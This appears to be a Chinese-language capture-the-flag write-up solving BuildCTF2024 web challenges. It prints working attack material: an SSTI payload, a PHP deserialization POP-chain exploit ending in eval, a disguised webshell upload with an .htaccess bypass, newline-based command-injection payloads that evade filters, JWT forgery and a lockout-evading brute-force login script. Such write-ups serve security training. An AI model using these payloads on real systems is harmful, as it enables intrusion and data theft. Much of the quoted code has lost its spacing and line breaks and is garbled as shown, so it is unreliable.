BuildCTF2024 WEB
find-the-id
爆破
出题人让我们去爆破数字
上bp开爆
ez!http
访问题目进行查看
查看数据包
发现传参给了一个user=admin,这里将admin修改为root即可
从什么来,考察Referer头
Referer: blog.buildctf.vip
浏览器,考察UA头
User-Agent: buildctf
只有来自内网的用户才可以访问,猜测是XFF头
修改Date头
这里是发起请求的邮箱所以考察的是From头
只接受代理,考察Via头部
考察浏览器语言头部Accept-Language
这里我点击获取Flag没有反应
查看源码发现只需要POST传入getFlag=This_is_flag即可
RedFlag
源码如下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG']= os.getenv('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/redflag/<path:redflag>')defredflag(redflag):defsafe_jinja(payload):
payload = payload.replace('(','').replace(')','')
blacklist =['config','self']return''.join(['{{% set {}=None%}}'.format(c)for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
考察的SSTI,源码中过滤了config和self
这里用的全局对象的config就可以绕过检测
{{url_for.globals[‘current_app’].config[‘FLAG’]}}
我的理解是:调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤
LovePopChain
考察pop链
源码如下
<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;publicfunction__wakeup(){if($this->NoLove=="Do_You_Want_Fl4g?"){echo'Love but not getting it!!';}}publicfunction__invoke(){$this->Forgzy=clonenewGaoZhouYue();}}classGaoZhouYue{public$Yuer;public$LastOne;publicfunction__clone(){echo'最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}}classhybcx{public$JiuYue;public$Si;publicfunction__call($fun1,$arg){$this->Si->JiuYue=$arg[0];}publicfunction__toString(){$ai=$this->Si;echo'I W1ll remember you';return$ai();}}if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);}else{highlight_file(__FILE__);}
链子思路如下
MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);
exp如下
<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;}classGaoZhouYue{public$Yuer;public$LastOne;}classhybcx{public$JiuYue;public$Si;}$a=newMyObject();$b=newhybcx();$a->NoLove=$b;$b->Si=$a;echoserialize($a);
用POST传参进行rce即可
babyupload
访问网址,然后看了一下没什么信息,直接开始目录扫描
可以扫出来一个upload.php文件
随便传了一个后门图片
被过滤了,修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试
被丁真鉴定了,坏,继续测,猜测是过滤php
尝试使用短标签来绕过
<?=`ls`?>
成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess
经过测试发现能够成功上传.htaccess
猜测flag在env环境变量中
<?=`env`?>,但是发现env也被过滤了,这里直接使用截断拼接来绕过 <?=`en''v`?>
成功上传
ez_md5
题目一
$sql="SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
这里考察使用ffifdyop来绕过md5($password,true)
题目二
<?phperror_reporting(0);///robotshighlight_file(__FILE__);include("flag.php");$Build=$_GET['a'];$CTF=$_GET['b'];if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('不可以哦!');}}if($Build!=$CTF&&md5($Build)==md5($CTF)){if(md5($_POST['Build_CTF.com'])=="3e41f780146b6c246cd49dd296a3da28"){echo$flag;}elsedie("再想想");}elsedie("不是吧这么简单的md5都过不去?");?>
考点
1、md5数组绕过
2、在php中参数_的替换 Build_CTF.com
3、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28
在robots.txt中可以看的提示md5(114514xxxxxxx)
写脚本爆破可以得到1145146803531
爆破脚本如下
import hashlib
defmd5_hash(s):return hashlib.md5(s.encode()).hexdigest()
target_md5 ='3e41f780146b6c246cd49dd296a3da28'
prefix ='114514'for i inrange(10000000):# 可调整范围
guess =f"{prefix}{str(i).zfill(7)}"# 生成114514后接7位数if md5_hash(guess)== target_md5:print(f"找到匹配: {guess}")breakelse:print("未找到匹配")
GET: a[]=1&b[]=2
POST: Build[CTF.com=1145146803531
我写的网站被rce了?
给的是一个系统,经过测试可以发现在查看日志处存在漏洞
在日志处用的是传入access,而不是传入access.log
猜测后端是进行拼接的
过滤了数字,传入字母看看
这里爆出了路径,拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接。
执行一个id看看
后续还有过滤cat,空格,*号之类的,正常绕过即可
payload如下(不只这一种)
log_type=access%0aca\t$IFS/?lag%0a
Why_so_serials?
源码如下:
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classGotham{public$Bruce;public$Wayne;public$crime=false;publicfunction__construct($Bruce,$Wayne){$this->Bruce=$Bruce;$this->Wayne=$Wayne;}}if(isset($_GET['Bruce'])&&isset($_GET['Wayne'])){$Bruce=$_GET['Bruce'];$Wayne=$_GET['Wayne'];$city=newGotham($Bruce,$Wayne);if(preg_match("/joker/",$Wayne)){$serial_city=str_replace('joker','batman',serialize($city));$boom=unserialize($serial_city);if($boom->crime){echo$flag;}}else{echo"no crime";}}else{echo"HAHAHAHA batman can't catch me!";}
这里考察的是字符串逃逸增多类型,通过joker替换为batman,每次会多出一位
我们可以构造payload使crime=fasle改为true,从而通过if($boom->crime)的判断来输出flag
payload如下
Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:“crime”;b:1;}
tflock
访问robots.txt,可以得到出题人给出的账号密码
所以只需要爆破即可,但是这里会进行账号锁定,在网上看的一个文章,当你登录一个账号失败3次之前进行一次别的账号的成功登录,那么就会重置这个登录账号登录失败的次数
这里写个脚本进行爆破
import request
import requests
url="http://27.25.151.80:36905/login.php"defctfer_login():
ctf_payload ={"username":"ctfer","password":123456}
res = requests.post(url, data=ctf_payload)print(res.text)
lines=[]withopen('1.txt','r')asfile:for line infile:
lines.append(line)
lines_end =[pwd.strip()for pwd in lines]print(lines_end)withopen('1.txt','r')asfile:for line infile:
line = line.strip()print(line)
admin_payload ={"username":"admin","password": line}print(admin_payload)
res = requests.post(url, data=admin_payload)print(res.text)
ctfer_login()if'"success":true'in res.text:print(line)break
得到账号密码登录即可
eazyl0gin
关键代码如下
考点
javascript大小写特性
这里推荐看P神的文章
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == ‘I’,构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举
然后使用BUıLDCTF和012346来尝试登录
如果是在BP中需要传入
username=BU%C4%B1LDCTF&password=012346
刮刮乐
进来就刮,爽就完事了
然后提示我们了cmd参数
需要是来自baidu.com的,加上Referer头
然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行,但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");那么我们就可以尝试一下%0a || ; 来进行截断绕过
成功回显
sub
源码如下
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key ='BuildCTF'
app.config['JWT_SECRET_KEY']='BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users ={}
messages =[]@app.route('/message', methods=['GET','POST'])defmessage():if request.method =='POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name,'content': content})
flash('Message posted')return redirect(url_for('message'))return render_template('message.html', messages=messages)@app.route('/register', methods=['GET','POST'])defregister():if request.method =='POST':
username = request.form.get('username')
password = request.form.get('password')if username in users:
flash('Username already exists')return redirect(url_for('register'))
users[username]={'password': generate_password_hash(password),'role':'user'}
flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST','GET'])deflogin():if request.method =='POST':
username = request.form.get('username')
password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow()+ datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return response
else:return jsonify({"msg":"Invalid username or password"}),401return render_template('login.html')@app.route('/logout')deflogout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt','', expires=0)
flash('You have been logged out')return resp
@app.route('/')defindex():return render_template('index.html')@app.route('/page')defpage():
jwt_token = request.cookies.get('jwt')if jwt_token:try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg":"Token has expired"}),401except jwt.InvalidTokenError:return jsonify({"msg":"Invalid token"}),401except Exception as e:return jsonify({"msg":"Invalid or expired token"}),401if role !='admin'or current_user notin users:return abort(403,'Access denied')file= request.args.get('file','')
file_path = os.path.join(DOCUMENT_DIR,file)
file_path = os.path.normpath(file_path)ifnot file_path.startswith(DOCUMENT_DIR):return abort(400,'Invalid file name')try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:
content =str(e)except Exception as e:
content =str(e)return render_template('page.html', content=content)else:return abort(403,'Access denied')@app.route('/categories')defcategories():return render_template('categories.html', categories=['Web','Pwn','Misc','Re','Crypto'])if __name__ =='__main__':
app.run(host='0.0.0.0', port=5050)
访问靶场
这里注册一个号然后进行登录,看看数据包
在返回包中可以看到jwt的值,然后源码给了我们JWT的值,可以得到JWT的secret=BuildCTF,那么我们就可以对jwt的值进行伪造,将sub和role改为admin
访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt
输入一点别的看看
这里可以发现报错返回了Command ‘cat /var/www/html/src/docs/xxx’,这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system(‘cat /var/www/html/src/docs/xxx’),所以我们可以利用逻辑拼接来绕过; || | %0a这些来绕过
然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法
1、;cd …;cd …;cd …;cd …;ls
2、ls />2.txt cat 2.txt
然后读取flag直接cat /flag即可
ez_waf
这里不限制上传的后缀,但是限制内容
采用大量脏数据来绕过waf
上传的路径为/uploads/文件名
然后执行命令即可
版权归原作者 Xaxt 所有, 如有侵权,请联系我们删除。